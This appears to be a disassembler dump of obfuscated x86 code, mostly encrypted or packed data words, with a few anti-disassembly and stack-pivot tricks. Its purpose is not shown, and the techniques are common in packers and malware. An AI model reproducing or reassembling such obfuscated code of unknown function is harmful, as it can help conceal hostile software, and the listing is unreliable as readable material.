dd 3A792DBFh, 178F43D5h, 2A458EAh, 0F0B96DFFh, 0E1C97D0Fh
dd 0CBDA8E20h, 5086A234h, 0BD55E089h, 4, 835DE801h, 48704E8h
dd 3685C24h, 89000039h, 4A68241Ch, 89000038h, 0BA522404h
dd 11C64EF5h, 598BEA81h, 0D2F75032h, 6E82F281h, 0E2D15320h
dd 233CBD55h, 0EA291C1Eh, 4EF2815Dh, 89B85F05h, 0EC835AD3h
dd 24248904h, 4240483h, 0DF895758h, 8408F57h, 24048B5Fh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_535A7A
; ---------------------------------------------------------------------------
db 55h
dd 97C3BE12h, 0A9AD9C75h, 3F44B17Eh, 25A613B8h, 0FFC50306h
dd 377F29E0h, 0EADBCF77h, 0E6430545h, 55A18929h, 4B665277h
dd 0C1BD5276h, 7628D2Dh, 0F0428279h, 0B984FB13h, 65175D5Ch
dd 248FBF77h, 0A9F9EF28h, 0BCA90F56h, 1223254Bh, 570D8556h
dd 0A6F05863h, 0D9F2B32Ah, 0AD95E717h, 8A8D8D4Ah, 6A0625A7h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 701BC355h, 0F5BF6640h, 5D8D89ABh, 0C7061F0Bh
dd 1F20C585h, 680006h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0ED9D3177h, 0C7061F2Bh
dd 1F137D85h, 6, 5DB5FF00h, 6A061F10h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D04EC352h
dd 0F18B66B0h, 2D5995FFh, 6AF5061Fh, 4595FF00h, 8B061F1Dh
dd 6F1BEBC0h, 10CA744Bh, 41D4BBE2h, 9FDD58AFh, 1110EFBAh
dd 0A8132D00h, 5402CA3Eh, 12E8D6BCh, 7F000000h, 7F53A386h
dd 1B4CEA2Ch, 47AEF8ECh, 0E024D817h, 0B50B602Ch, 61F0681h
dd 0BD8B5E61h, 61F05BDh, 6CA1C681h, 8D8B0000h, 61F0AD5h
dd 1AF468h, 0FD858900h, 58061F2Eh, 456FBB66h, 8D09168Bh
dd 61F0B8Dh, 5D0EA81h, 852976AFh, 61F06A5h, 0CF66EA81h
dd 95890854h, 61F24B9h, 78D3F281h, 0BD895EE1h, 61F07DDh
dd 9D891689h, 61F32ADh, 15BCEE81h, 8D310F3Ah, 61F3009h
dd 15B8C681h, 830F0F3Ah, 6, 2459D33h, 0E883061Fh, 20850F01h
dd 0F000000h, 38Dh, 0F9BF0F00h, 2FE9h, 0ADF43300h, 32ABA2F1h
dd 1753FB38h, 57CBF1F4h, 0F4830A4h, 686h, 959D8B00h, 0E9061F0Fh
dd 0FFFFFF74h, 850C151Ah, 84B30759h, 0F38A16F8h, 7E8h
dd 85422400h, 0D8033FFFh, 5ECBEF80h, 68D98166h, 10C6817Ah
dd 0F000060h, 387h, 75D78000h, 68h, 7D958900h, 5A061F0Dh
dd 3234FFF8h, 0F4BDACB8h, 0E68A5F7Dh, 3131F781h, 9D8B7669h
dd 61F1F4Dh, 2408EF81h, 890F5491h, 9, 38C0Fh, 0B70F0000h
dd 0DEC781C8h, 8B534B8Fh, 1F2E7585h, 0EC8A5706h, 8116048Fh
dd 3607EDE1h, 83EA8A62h, 0BD8902EAh, 61F2079h, 858B4A4Ah
dd 61F1465h, 0A088FA81h, 850FFFFFh, 0FFFFFF9Dh, 8E9h, 50524700h
dd 4DA4D2A5h, 13E87Ch, 60A50000h, 0A237BD94h, 9C39C401h
dd 0F25B83F1h, 550DAEDEh, 0D8B70F4Eh, 0DEB70F5Eh, 6893C681h
dd 8D8B0000h, 61F0F95h, 0B8h, 9E900h, 7950000h, 6BA4707Fh
dd 8B47E507h, 0DD80063Ch, 0B5F7819Ah, 0E85D2702h, 7, 4C0B3ECBh
dd 0B3ECF8CAh, 0F7815B92h, 75E7625Ah, 32E5D281h, 0C7810E59h
dd 40EA5A2h, 63C89FCh, 2ACD9D89h, 0FBB061Fh, 811E3CBDh
dd 96E0DAE8h, 0D38B6613h, 0E0D6C081h, 0EA811396h, 4D69E4D1h
dd 9828F881h, 850FFFFFh, 19h, 6830Fh, 0B5890000h, 61F0F7Dh
dd 18E9h, 0CAE83700h, 4EDFE28Ch, 5BE181D9h, 0E96CF6A3h
dd 0FFFFFF7Fh, 30216A68h, 83C08B0Fh, 1F06C1BDh, 9750006h
dd 1F51BD83h, 7400061Fh, 8B535019h, 421B8C0h, 85890000h
dd 61F0F65h, 0AFA49D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h
dd 50177400h, 421B853h, 85890000h, 61F0F65h, 0AC939D8Dh
dd 0D3FF0621h, 0C08B585Bh, 5CD9D8Bh, 85C6061Fh, 61F2025h
dd 0B8526856h, 0B5FF9CA8h, 61F3271h, 7993858Dh, 0D0FF0622h
dd 68046Ah, 0FF000010h, 1F11CDB5h, 0FF006A06h, 0FC085D0h
dd 0D85h, 0B800h, 8D8D0000h, 61F7110h, 0C88BE1FFh, 4003C38Bh
dd 0F8053Ch, 508B0000h, 83D3030Ch, 1F1945BDh, 840F0006h
dd 0Eh, 19459D8Bh, 858B061Fh, 61F1C3Dh, 52510389h, 421B858Dh
dd 0D0FF061Fh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 61F2025h
dd 6D396856h, 0B5FFD41Fh, 61F3271h, 7993858Dh, 0D0FF0622h
dd 800068h, 52006A00h, 0C08BD0FFh, 6C1BD83h, 7500061Fh
dd 51BD8309h, 61F1Fh, 53501974h, 21B8C08Bh, 89000004h
dd 1F139585h, 0B9D8D06h, 0FF0621B0h, 83585BD3h, 1F1F51BDh
dd 17740006h, 21B85350h, 89000004h, 1F139585h, 0AC9D8D06h
dd 0FF0621ACh, 8B585BD3h, 459D8DC0h, 8B061F19h, 0FC00B03h
dd 784h, 8B038B00h, 1889045Bh, 4B41B8h, 6E800h, 806A0000h
dd 0C07A279Fh, 0A2E88160h, 6109E005h, 8172B05Eh, 667BC6h
dd 0C88B6600h, 197068h, 850F6000h, 6, 5F39D281h, 13E81046h
dd 47000000h, 7D564C37h, 42653B58h, 2E42EFFCh, 96952D5Ah
dd 6E88C73h, 7B000000h, 3425DC14h, 61585A85h, 0F52525Ah
dd 8Eh, 8B595900h, 2FC0811Eh, 813BDF84h, 0C78BC9C3h, 8E947h
dd 3A650000h, 0D6B23BAFh, 0F381055Ah, 35387C88h, 0FE8h
dd 0FE015C00h, 95F33FAFh, 956881BCh, 547D3A23h, 0BB56C881h
dd 81586E68h, 0F9C819C3h, 0A8EBB823h, 1E890B29h, 83C18B66h
dd 0F4A04EEh, 0FFFFAA85h, 7E9FFh, 0F26E0000h, 0A9A9FEF3h
dd 16EB12h, 4 dup(0)
dd 1000000h, 3C001h, 6A062500h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 7395C353h, 8BD02735h
dd 1F13558Dh, 0E9605006h, 0Eh, 62CCF9BAh, 308A1550h, 1219D1BEh
dd 8D0FFCFAh, 6, 8A0Fh, 89610000h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 705097C3h
dd 59E5396Fh, 85898427h, 61F1AB9h, 571351BAh, 6A006A2Eh
dd 8DFD8A00h, 25AD4385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 1D8F40CBh, 0D7EA8172h
dd 50075E3Eh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 641DC355h, 0DFCAAD6Fh
dd 830F006Ah, 6, 0B202EA81h, 6A5A83h, 16195FFh, 14E8061Fh
dd 40000000h, 0B78F1C3h, 1AB60636h, 4AD4EE4Eh, 4AB20722h
dd 57A1CD50h, 8C0Fh, 5B5F0000h, 502E9h, 0CD853100h, 0E8061F1Bh
dd 0
dd 48ED815Dh, 660625ADh, 166ED981h, 682BDE80h, 0B741A9D0h
dd 2253B966h, 0D0240481h, 6A48BE65h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 690C353h
dd 73D3B8F8h, 9BE78166h, 4595FFFCh, 89061F1Dh, 1F152595h
dd 13B58D06h, 6A0625ACh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0EF14C357h, 60D799CAh
dd 0C768F8D6h, 67655206h, 659D2B6Dh, 0C7061F2Ch, 6E6F0446h
dd 8B666C63h, 846C7D0h, 737361h, 0C8C0Fh, 7E90000h, 0D0000000h
dd 16EC3974h, 6A11F6h, 0C518D89h, 858D061Fh, 625AC13h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FAC35545h
dd 0B5B58F94h, 3880Fh, 8B660000h, 8B6650C8h, 240489CBh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 6AC35141h
dd 0CD4CE4FAh, 95895665h, 61F1015h, 3995FF5Ah, 89061F0Ah
dd 1F0035B5h, 0FC00B06h, 4084h, 14E900h, 86C30000h, 0EB36E62Fh
dd 8023BBEFh, 9E2DE5Eh, 0D23F4847h, 78E9D4A6h, 6A000003h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 33B0C356h, 1F07898Dh, 21E26806h, 0E860B62Eh
dd 10h, 0FAAAABFAh, 7086BA24h, 6F832585h, 9B722F92h, 12E9h
dd 9BFE5500h, 93B41A74h, 796C5C57h, 7437FF4Dh, 59FE1A86h
dd 61C68B66h, 4A240481h, 6649D1DFh, 0FFA7DBBFh, 1F1D4595h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 0C6FA3C99h, 1D12BA58h, 0AC13B58Dh, 6A0625h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 80A467C3h, 92C7B509h, 0A3D9D8Bh, 6C7061Fh, 36343831h
dd 0B3CE70BAh, 446C75Eh, 31342D37h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 52C35545h, 0BA2B9020h, 9954E63h
dd 1F08D59Dh, 846C706h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7BC35747h
dd 0CAF2AFBBh, 6A41AEh, 0D85BD89h, 858D061Fh, 625AC13h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0C6C35040h
dd 850FE51Ch, 4, 43C9BA66h, 89D68B50h, 6A2404h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 1AF1F5C3h, 3306D78Fh, 1F1AEDBDh, 3995FF06h, 8B061F0Ah
dd 1F2A25BDh, 0FC00B06h, 0B84h, 1DDE900h, 95290000h, 61F1B55h
dd 93F26268h, 28F0FFCh, 8A000000h, 240481E8h, 36C0ECAh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 41C35040h
dd 0FF5F6684h, 1F1D4595h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0BCA0EC83h
dd 0E1EB6062h, 13B58D1Ah, 0F0625ACh, 168Ah, 0DE86000h
dd 27000000h, 56EC796Dh, 7F286C5Dh, 0F3ED26EBh, 0C761F85Fh
dd 6C694606h, 0FB06065h, 446C761h, 636E6F6Dh, 31F5BD8Bh
dd 46C7061Fh, 73616C08h, 0C7FA8A73h, 0C46h, 958B0000h
dd 61F1D9Dh, 0BD8B006Ah, 61F151Dh, 11E9h, 0B2D49600h, 42772EE9h
dd 0AA3D23E6h, 0DCF3D89Ch, 858DD2DAh, 625AC13h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 56C35242h, 0CEFFCE8Ch
dd 8923B868h, 1F202DBDh, 16DE8006h, 0C4B86050h, 573AE591h
dd 615E87B7h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 0BF24C356h, 60862A2Ch
dd 0BF6601AFh, 95FF3A02h, 61F0A39h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0D0C35040h, 0CAAE0522h, 0C00B4D12h
dd 30840Fh, 0BD330000h, 61F162Dh, 6AE9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0B4DD571Ah, 15C1A0Ch, 80E9AFFEh, 6AFFFFFBh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 3B94C351h, 884DF861h, 188B0FBDh, 0E8000000h, 10h, 5F668441h
dd 17213B54h, 3BD05F02h, 8DD284BDh, 8D595F50h, 1F7110B5h
dd 0C1816606h, 0B89517h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0AEB0C355h
dd 0B035824Fh, 0FFDE8A65h, 0E1BD89E6h, 8B061F02h, 0FDED55C1h
dd 0F67A5E75h, 0E669A476h, 0FD49BC56h, 0FD235812h, 0FD237670h
dd 0FD2360B1h, 0FD23E817h, 0FD232D01h, 0FD23CFFFh, 0FD23BEC4h
dd 0FD2306A5h, 0FD235A90h, 0FD2377DFh, 0FD236094h, 0FD23EA09h
dd 0FD232E6Ah, 0FD23CC4Bh, 0FD23BD14h, 0FD2304D0h, 0FD235824h
dd 358A259Dh, 0D6A22295h, 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch
dd 0F5722775h, 0FD799775h, 0FD78CB74h, 0F57DED73h, 0FC7BF374h
dd 0FC7B7874h, 0FD7ABC75h, 0FD7A5E75h, 0A44B9176h, 0A44B7975h
dd 0FD7ACB75h, 0FC7BE475h, 0FC7BF374h, 0F8B29074h, 701ABC75h
dd 0D8CC07F0h, 6DFFA673h, 707CB2C7h, 0D8CCA4F0h, 0ADFF6C73h
dd 707CD7C7h, 0D8CCD4F0h, 71FF3573h, 707C7BC7h, 0D8CC22F0h
dd 0A9FF1E73h, 707CEEC7h, 0D8CF29F0h, 0A5FF7B73h, 707C5CC7h
dd 0D8CED6F0h, 0A1FFD773h, 707C0AC7h, 0D8CEEBF0h, 9DFF4273h
dd 707CC0C7h, 0D8CE60F0h, 99FFF073h, 707C99C7h, 0D8CEB3F0h
dd 8DFFA673h, 707CB2C7h, 0D8CE72F0h, 95FF6C73h, 707CD7C7h
dd 0D8CEA1F0h, 91FF3573h, 707C7BC7h, 0D8CEC2F0h, 8DFF1E73h
dd 707CEEC7h, 0D8CFC2F0h, 7DFF7B73h, 707C5CC7h, 0D8CFFAF0h
dd 79FFD773h, 707C0AC7h, 0D8CFFEF0h, 75FF4273h, 707CC0C7h
dd 0D8CF40F0h, 89FFF073h, 707C99C7h, 0D8CFB7F0h, 85FFA673h
dd 707CB2C7h, 0D8CC4FF0h, 81FF6C73h, 767CD7C7h, 0E26CE0F0h
dd 34FF3573h, 767C7BC7h, 0E272E6F0h, 30FF1E73h, 9C7CEEC7h
dd 11F1B0B6h, 0FD7AF29Dh, 17FB2375h, 0FB5F0FA8h, 0F53FD525h
dd 4FB2ADFDh, 34229150h, 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h
dd 7C277975h, 0D8C94298h, 0B2FFA073h, 7D7C0AC7h, 0D8C8D8C8h
dd 0B409CF73h, 4B75E4C5h, 89BAF9B5h, 30EF8635h, 0BD7C99C7h
dd 452B96FEh, 0FD7A2F7Ah, 4FB7028Ah, 48F7CD50h, 0FB5F5725h
dd 50FCC6F8h, 0FD7E4B9Dh, 456FCF75h, 0FD7A5E76h, 4FB7BA8Ah
dd 48F79150h, 0FB5F7925h, 50FCD1F8h, 1F23228Ah, 0B2F787BCh
dd 0A07C99C7h, 0A320052Dh, 6D92EC2Ch, 4D7A9777h, 5779C1CDh
dd 4FB3708Ah, 3ED1F450h, 0FD78079Dh, 9BC2DA75h, 9B5954CDh
dd 34EFD0DEh, 9B7CB2C7h, 959208DEh, 0B7AE577h, 8872F336h
dd 34EF866Eh, 4D7C99C7h, 0AD7954C5h, 4FB3BA8Ah, 9B209150h
dd 9B7E2BF6h, 561C277Eh, 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh
dd 89A0652Fh, 3D59A57Bh, 0DF709491h, 4DBA07F5h, 3ED183FEh
dd 0FD7B009Dh, 0E1922A75h, 0A77ABC77h, 120E844Eh, 16D049C5h
dd 0FCA77FA9h, 0BE8CCB75h, 0D30FED74h, 0FF7B1A26h, 0B207975h
dd 8872BD36h, 89A06554h, 3D59A568h, 0DF709491h, 4DBA07F5h
dd 6885B5FFh, 0FB5F40BCh, 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h
dd 0BD9285E9h, 4D7A9774h, 359261F4h, 157AE574h, 0FD7AF22Dh
dd 0FC5791DEh, 60CABC75h, 61CA9DDFh, 0FC5BC7DFh, 451C9775h
dd 561C4A13h, 0FD7B439Dh, 0FD4C1A75h, 561C7975h, 0FD7BB69Dh
dd 57E7EE75h, 57E69FB6h, 0FD7A699Dh, 0FCF32375h, 0BE8CE575h
dd 0F20FFA74h, 15D0F9C5h, 0FD7ABC65h, 0F99EDEDFh, 1584487Dh
dd 0FD7A97AAh, 3ED056C5h, 0FD7AE2CDh, 30EF0D75h, 707C5CC7h
dd 0D8C828C0h, 518A5D73h, 2D02C7Fh, 0D8C85EE0h, 0E5920873h
dd 4D7AE574h, 5779F825h, 2844B9Dh, 0FC43548Ah, 0A5CA5E75h
dd 3ED02C7Fh, 4DD0C7C5h, 0E1926127h, 9B851A8Bh, 9B4BFDCDh
dd 36B91DEh, 0A7CA438Ah, 5722EEDFh, 57929FB6h, 0C923C22h
dd 0A77ACB75h, 3F5122FEh, 747E1AF6h, 8B9177h, 592438Ah
dd 4D7A5E75h, 5779252Dh, 0BBFF69B6h, 7D7CEEC7h, 0D8C8A3C8h
dd 0EC0FF373h, 4FC2FCF8h, 152ABA50h, 0FD7A5C61h, 0FD781B9Dh
dd 571A2775h, 287759Dh, 0C30D8Ah, 9CCA0D8Ah, 0BBF787DFh
dd 7D7C99C7h, 0D8C818C8h, 0F10F2F73h, 4FC212F8h, 152ACD50h
dd 0FD7AE4DEh, 0FD7E4AB6h, 68857975h, 0FB5F0EB8h, 4A6FC3F8h
dd 0F9F02950h, 4DB93D6Dh, 562D619Ch, 0FD7A8E9Dh, 3AF1A875h
dd 15F9BB5Eh, 3E783571h, 4FB3CB8Ah, 4ACE2950h, 0FF0E9651h
dd 0F2CA74C1h, 0C9924E13h, 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h
dd 0F179BEB5h, 577825B5h, 34EF68B6h, 7D7CEEC7h, 39FAEA91h
dd 9B7542F5h, 15D12EDEh, 285415Ah, 0D6BDD52Fh, 0F992ACB7h
dd 45B995FCh, 0FD7ACB73h, 4FB7708Ah, 60F7F450h, 0FB5FCBD9h
dd 3E39A0F8h, 0FD7A4ECDh, 30EFD075h, 7E7CB2C7h, 35F1CEB5h
dd 34EF1A89h, 577CD7C7h, 15B98E97h, 28543BEh, 0D97B1DFFh
dd 778E5A72h, 0FC6C7F76h, 1608CB75h, 8831DB6h, 11F1A789h
dd 9D86BDF6h, 0FD7ABC9Dh, 17FB0475h, 0FB5F9850h, 7D86EAFCh
dd 0D8C803CFh, 7975E573h, 0FD7AF2ECh, 0FD7A73CDh, 30E84375h
dd 0BD7C7BC7h, 4FABADFCh, 35F19150h, 4A8379F8h, 6F85E350h
dd 0FB5F40BCh, 1F3C7FFDh, 0FD6D0480h, 7F795E75h, 0FB5F9DA4h
dd 10E01A35h, 7E7CEEC2h, 0FEF3E1B6h, 0FD644B22h, 77797975h
dd 0FB5F0EA4h, 4AA1ECF8h
dd 59892950h, 0FD722F2Bh, 6F85CB75h, 0FB5F57B8h, 897E0AF6h
dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h
dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h
dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h
dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh
dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h
dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 0F190162Fh, 707CEECDh
dd 0D8C830CFh, 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh
dd 28E7A226h, 7D7CB2C7h, 887BD349h, 1683BE71h, 3E82A977h
dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0FB5F9730h, 4FAF25F8h
dd 80F1CD50h, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h
dd 0FB5FECA0h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 4FAF58F8h
dd 0C2FBF450h, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h
dd 9C82969Eh, 40F7ABB6h, 0FB5F57A0h, 0FD7AF3CDh, 0FD72C075h
dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0FB5F2597h, 0CA8BD08Ah
dd 11519D8Dh, 0B8061Fh, 89000013h, 1F16FD85h, 0E806h, 5580000h
dd 0Dh, 0E90389h, 13h, 4BFh dup(0)
dd 8D000000h, 25CCA38Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 0FBE2D070h, 0A20D7DFDh
dd 8D0F48EFh, 3, 89F6B70Fh, 1F0B5D8Dh, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0C7C97F56h, 1F20C585h, 747406h, 61BD8B00h, 0C7061F0Ah
dd 1F137D85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1704h, 0C3574700h, 33B47A03h, 105DB5FFh
dd 0EC80061Fh, 5995FF3Ch, 6A061F2Dh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 484DC357h
dd 0E6FA5C05h, 0F996802Bh, 95FF006Ah, 61F1D45h, 1BEBC08Bh
dd 0A19DF547h, 0F49B7EB3h, 50146F55h, 9B735357h, 0A5EF35ABh
dd 0B8441CD7h, 0E8B8FB7Fh, 9, 2EE7EDD2h, 368CBE25h, 0BD295201h
dd 61F14FDh, 0F080595Ah, 11C181C8h, 8000005Ah, 0BBEADAh
dd 0F5000000h, 0B0B34FFh, 1F2ED595h, 80605E06h, 952374E2h
dd 61F23E5h, 85EE8161h, 2909EF6Bh, 1F13BD85h, 0E2EE8106h
dd 0B838374Ah, 4B12863Dh, 19EF681h, 816662FFh, 89AED9F2h
dd 81661934h, 0F88EDD8h, 0EB81D1B7h, 2A01C7CCh, 0E1BD8Bh
dd 0C381061Fh, 2A01C7C8h, 6DBD2Bh, 0FB81061Fh, 0FFFFA67Ch
dd 0FF9A850Fh, 6652FFFFh, 17DFF781h, 2AE958h, 4C70000h
dd 24h, 0E800h, 815D0000h, 25CD6AEDh, 24448B06h, 0E5858904h
dd 0B8061F1Eh, 0
dd 4DB08D8Dh, 0E1FF061Fh, 6754B8h, 0F5CAFE00h, 4AA80809h
dd 308A4C86h, 0ABA8080Eh, 8875EAD5h, 70A8080Eh, 0BA8A4C87h
dd 2D57AE5Dh, 0F88A4C87h, 0ABA8080Fh, 4375EAD5h, 13A8080Ch
dd 0CD8A4C84h, 9DA8080Ch, 478A4C84h, 0ABA8080Dh, 2575EAD5h
dd 9A10D42Fh, 0C003130Fh, 528D9C2Dh, 8AAC90A7h, 0D1215787h
dd 43AFD8B9h, 9BD5D42Fh, 0C003130Fh, 528D9C35h, 8A5F90A7h
dd 0D1215787h, 43AFD8B5h, 8484D42Fh, 0C003130Fh, 528D9C01h
dd 950B90A7h, 0D1215787h, 43AFD881h, 846DD42Fh, 0C003130Fh
dd 528D9C0Dh, 948490A7h, 0D1215787h, 43AFD89Dh, 85E7D42Fh
dd 0C003130Fh, 528D9C19h, 941A90A7h, 0D1215787h, 43AFD895h
dd 8579D42Fh, 0C003130Fh, 528D9C61h, 978090A7h, 0D1215787h
dd 43AFD8EDh, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah
dd 0D5F251A2h, 604467C0h, 0A8ED96A4h, 458A152Ah, 67A02429h
dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h
dd 9D3AAE63h, 848C0A22h, 11AB5342h, 55FFEA22h, 0ABA4245Dh
dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh
dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h
dd 0EE27BFEAh, 0E75BDB2Fh, 9475130Fh, 0D9020112h, 6039E6A0h
dd 0EC79AEA4h, 41AE51A1h, 0A722DC09h, 0BA8C3099h, 0DF103773h
dd 0C821732Ah, 711BA228h, 0FD5BEA2Ch, 508C152Bh, 0B6009881h
dd 0ABAE7411h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 604527C0h
dd 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah, 4BBEC830h
dd 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 6039E6A0h
dd 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh
dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h
dd 0BE290BA2h, 43AFDAA3h, 0DFA02429h, 4D1957h, 54A8515Eh
dd 0D775532Ah, 52B7473Bh, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h
dd 0D9F9FA31h, 6039E6A0h, 0D79AEA4h, 2320949Ah, 328C651Ah
dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 953BFDA2h
dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h
dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h, 0A32851A2h
dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh
dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh
dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h, 458AD507h
dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h
dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h, 38031957h
dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h
dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h
dd 0A722DC08h, 0BA8C3099h, 0FEF8E173h, 0F6799FA7h, 85575787h
dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 54AFE9A2h
dd 0D775152Ah, 52B7596Bh, 0C8204526h, 711BA228h, 0F55BEA2Ch
dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h, 0DDA42C89h
dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah
dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 531387D5h, 8C2357BDh
dd 0EF491786h, 0E75BDB2Fh, 9475130Fh, 0BD28E9C4h, 8600BE4Ch
dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h
dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h, 0DC18EA80h
dd 0DFAE4EB4h, 8558B9E2h, 0A732DC08h, 0BA8C3099h, 94103771h
dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h
dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
dd 0D775BF86h, 52B7473Bh, 7726DDA1h, 0CE25FB63h, 43AFA6D9h
dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh
dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
dd 54A8515Eh, 7732732Ah, 0D903376Bh, 6039E6B0h, 327BAEA4h
dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh
dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h
dd 0FDEC152Ah, 0FFCEB824h, 0F6798FA7h, 87575787h, 320A09Ah
dd 0CE25FB0Eh, 43AFA6D9h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h
dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
dd 0D5F251A2h, 60584FC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h
dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah
dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h
dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h
